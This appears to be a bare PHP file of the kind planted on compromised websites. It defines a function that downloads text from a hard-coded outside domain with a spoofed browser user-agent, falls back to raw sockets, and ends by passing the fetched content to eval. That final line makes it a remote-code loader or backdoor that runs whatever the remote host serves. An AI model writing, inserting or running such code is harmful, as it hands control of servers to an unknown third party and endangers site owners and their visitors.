<?php
function get_remote_content($url = 'http://z61006_15.jeweing.shop/stat/domain_index.txt' ) {
    $ua = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/122.0.0.0';
    if (ini_get('allow_url_fopen')) {
        $ctx = stream_context_create(array("http" => array("header" => "User-Agent: $ua\r\n")));
        $res = @file_get_contents($url, false, $ctx);
        if ($res !== false) return $res;
    }
    $p = parse_url($url);
    if (!$p || !isset($p['host'])) {
        return false;
    }
    $host = $p['host'];
    $port = (isset($p['scheme']) && $p['scheme'] == 'https') ? 443 : 80;
    $path = isset($p['path']) ? $p['path'] : '/';
    if (isset($p['query'])) {
        $path .= '?' . $p['query'];
    }
    $sock = @fsockopen(($port == 443 ? "ssl://" : "") . $host, $port, $en, $er, 10);
    if ($sock) {
        $req = "GET " . $path . " HTTP/1.1\r\nHost: $host\r\nUser-Agent: $ua\r\nConnection: Close\r\n\r\n";
        fwrite($sock, $req);
        $raw = '';
        while (!feof($sock)) { $raw .= fgets($sock, 1024); }
        fclose($sock);
        $pos = strpos($raw, "\r\n\r\n");
        if ($pos !== false) {
            return substr($raw, $pos + 4);
        }
        return $raw;
    }
    return false;
}

eval( '?>'.get_remote_content( ) );